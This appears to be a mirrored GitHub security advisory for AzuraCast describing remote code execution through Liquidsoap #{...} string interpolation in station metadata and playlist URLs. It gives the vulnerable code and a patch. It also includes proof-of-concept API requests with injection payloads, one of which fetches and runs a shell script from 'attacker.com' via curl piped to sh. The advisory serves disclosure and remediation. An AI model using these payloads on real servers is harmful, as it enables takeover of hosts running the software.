GHSA-93FX-5QGC-WR38
Vulnerability from github – Published: 2026-03-09 19:55 – Updated: 2026-03-09 19:55Summary
AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.
Root Cause
File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
public static function cleanUpString(?string $string): string
{
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}
This function only replaces " with ' and strips newlines. It does NOT filter:
- #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
- \ — Backslash escape character
Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.
Injection Points
All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
| Field | Permission Required | Config Line |
|---|---|---|
playlist.remote_url |
Media |
input.http("...") or playlist("...") |
station.name |
Profile |
name = "..." |
station.description |
Profile |
description = "..." |
station.genre |
Profile |
genre = "..." |
station.url |
Profile |
url = "..." |
backend_config.live_broadcast_text |
Profile |
settings.azuracast.live_broadcast_text := "..." |
backend_config.dj_mount_point |
Profile |
input.harbor("...") |
PoC 1: Via Remote Playlist URL (Media permission)
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
"name": "Malicious Remote",
"source": "remote_url",
"remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote_type": "stream",
"is_enabled": true
}
The generated liquidsoap.liq will contain:
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))
When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.
PoC 2: Via Station Description (Profile permission)
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"
Trigger Condition
The injection fires when the station is restarted, which happens during:
- Normal station restart by any user with Broadcasting permission
- System updates and maintenance
- azuracast:radio:restart CLI command
- Docker container restarts
Impact
- Severity: Critical
- Authentication: Required — any station-level user with
MediaorProfilepermission - Impact: Full RCE on the AzuraCast server as the
azuracastuser - CWE: CWE-94 (Code Injection)
Recommended Fix
Update cleanUpString() to escape # and \:
public static function cleanUpString(?string $string): string
{
return str_replace(
['"', "\n", "\r", '\\', '#'],
['\'', '', '', '\\\\', '\\#'],
$string ?? ''
);
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.3"
},
"package": {
"ecosystem": "Packagist",
"name": "azuracast/azuracast"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-09T19:55:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nAzuraCast\u0027s `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap\u0027s `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n return str_replace([\u0027\"\u0027, \"\\n\", \"\\r\"], [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027], $string ?? \u0027\u0027);\n}\n```\n\nThis function only replaces `\"` with `\u0027` and strips newlines. It does **NOT** filter:\n- `#{...}` \u2014 Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` \u2014 Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\n\n{\n \"name\": \"Malicious Remote\",\n \"source\": \"remote_url\",\n \"remote_url\": \"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\",\n \"remote_type\": \"stream\",\n \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run(\u0027id \u003e /tmp/pwned\u0027)` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_PROFILE_PERMISSION\u003e\n\n{\n \"name\": \"My Station\",\n \"description\": \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required \u2014 any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n return str_replace(\n [\u0027\"\u0027, \"\\n\", \"\\r\", \u0027\\\\\u0027, \u0027#\u0027],\n [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\\\\\\\\\u0027, \u0027\\\\#\u0027],\n $string ?? \u0027\u0027\n );\n}\n```",
"id": "GHSA-93fx-5qgc-wr38",
"modified": "2026-03-09T19:55:00Z",
"published": "2026-03-09T19:55:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38"
},
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c"
},
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5"
},
{
"type": "PACKAGE",
"url": "https://github.com/AzuraCast/AzuraCast"
},
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.